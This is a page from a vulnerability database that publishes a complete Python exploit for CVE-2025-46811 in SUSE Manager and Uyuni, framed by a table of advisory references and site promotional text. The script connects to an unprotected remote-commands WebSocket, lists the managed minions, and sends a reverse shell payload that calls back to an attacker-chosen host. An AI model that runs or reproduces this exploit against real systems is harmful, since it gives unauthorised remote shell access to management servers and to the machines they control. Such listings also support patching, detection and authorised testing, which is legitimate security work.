| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2025-46811 | 30 Jul 202514:20 | – | attackerkb | |
| CVE-2025-46811 | 30 Jul 202517:12 | – | circl | |
| SUSE Manager 访问控制错误漏洞 | 30 Jul 202500:00 | – | cnnvd | |
| CVE-2025-46811 | 30 Jul 202514:20 | – | cve | |
| CVE-2025-46811 SUSE Multi Linux Manager allows code execution via unprotected websocket endpoint | 30 Jul 202514:20 | – | cvelist | |
| EUVD-2025-23155 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-46811 | 30 Jul 202515:15 | – | nvd | |
| SUSE-SU-2025:02475-1 Security update 4.3.16 for Multi-Linux Manager Server | 23 Jul 202512:36 | – | osv | |
| SUSE-SU-2025:02476-1 Security update 4.3.16 for Multi-Linux Manager Server | 23 Jul 202512:37 | – | osv | |
| PT-2025-31383 · Suse · Suse Manager Server Module 4.3 +4 | 23 Jul 202500:00 | – | ptsecurity |
# Exploit Title: SUSE Manager 4.3.15 - Code Execution
# Date: 29.01.2026
# Exploit Author: Wiktor Maj
# Vendor Homepage: https://www.uyuni-project.org/
# Software Link: https://github.com/uyuni-project/uyuni
# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15
# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0
# CVE: CVE-2025-46811
# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.
# Set up a listener session in a separate terminal.
# After the payload is sent, switch to your listener terminal to check if a shell pops up.
# Example:
# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl
#### PROGRAM CONSTRAINTS ####
PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1" # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args
CONNECTION_RETRIES = 4 # number of connection attempts
CONNECTION_DELAY_BETWEEN_RETRIES = 15 # seconds
WEBSOCKET_TIMEOUT = 10 # seconds
##############################
import argparse
import json
import socket
import ssl
import sys
import time
import websocket
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False)
parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.")
parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.")
parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).")
parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.")
parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.")
group = parser.add_mutually_exclusive_group()
group.add_argument("--ssl", dest="ssl", action="store_true",
help="Use SSL/TLS for the WebSocket connection (default).")
group.add_argument("--no-ssl", dest="ssl", action="store_false",
help="Disable SSL/TLS and use plaintext WebSocket.")
parser.set_defaults(ssl=True)
return parser.parse_args()
def resolve_target(hostname: str) -> str:
return socket.gethostbyname(hostname)
def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:
while True:
try:
message = websocket_connection.recv()
if message:
print("Received:", message)
if isinstance(message, bytes):
message = message.decode("utf-8", errors="replace")
return message
except websocket.WebSocketTimeoutException as exception:
raise RuntimeError("Failed to receive preview minions message") from exception
def decode_preview_minions_message(message: str) -> list[str]:
try:
preview_output = json.loads(message)
except json.JSONDecodeError as exception:
raise RuntimeError("Preview response is not valid JSON") from exception
if (
isinstance(preview_output, dict)
and isinstance(preview_output.get("minions"), list)
and preview_output["minions"]
and all(isinstance(entity, str) for entity in preview_output["minions"])
):
return preview_output["minions"]
raise RuntimeError("Preview response expected non-empty 'minions' list")
def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:
message = receive_preview_minions_message(websocket_connection)
minions = decode_preview_minions_message(message)
return minions
def select_minion(minions: list[str]) -> str:
print("Available minions:")
for minion_id, minion_name in enumerate(minions, start=1):
print(f"{minion_id}) {minion_name}")
prompt = "Select minion number (default is '1', or 'c' to cancel): "
while True:
choice = input(prompt).strip()
if choice == "":
return minions[0]
if choice.lower() == "c":
print("No minion selected. Exiting.")
sys.exit(0)
if choice.isdigit():
index = int(choice)
if 1 <= index <= len(minions):
return minions[index - 1]
print("Invalid selection.")
def connect_to_websocket(target_ip: str,
port: int,
use_ssl: bool,
sslopt: dict,
) -> websocket.WebSocket:
scheme = "wss" if use_ssl else "ws"
try:
return websocket.create_connection(
f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands",
timeout=WEBSOCKET_TIMEOUT,
sslopt=sslopt,
)
except ssl.SSLError as exception:
if "WRONG_VERSION_NUMBER" in str(exception):
raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception
raise
except websocket.WebSocketBadStatusException as exception:
if exception.status_code == 400:
raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception
raise
except TimeoutError as exception:
raise RuntimeError("Websocket is likely under firewall") from exception
def get_minions(target_ip: str,
port: int,
use_ssl: bool,
) -> tuple[websocket.WebSocket, list[str]]:
sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
for attempt in range(1, CONNECTION_RETRIES + 1):
websocket_connection = None
try:
websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)
websocket_connection.send(json.dumps({"preview": True, "target": "*"}))
minions = receive_preview_minions(websocket_connection)
return websocket_connection, minions
except (
websocket.WebSocketTimeoutException,
websocket.WebSocketConnectionClosedException,
):
if websocket_connection is not None:
websocket_connection.close()
if attempt == CONNECTION_RETRIES:
break
time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)
raise RuntimeError("Target websocket is not vulnerable or not reachable")
def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None:
payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port))
websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload}))
if __name__ == "__main__":
args = parse_args()
websocket_connection = None
try:
websocket_connection, minions = get_minions(
target_ip=resolve_target(args.ip),
port=args.port,
use_ssl=args.ssl,
)
selected_minion = select_minion(minions)
send_payload(websocket_connection, selected_minion)
print("Payload sent, closing.")
finally:
if websocket_connection is not None:
websocket_connection.close()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation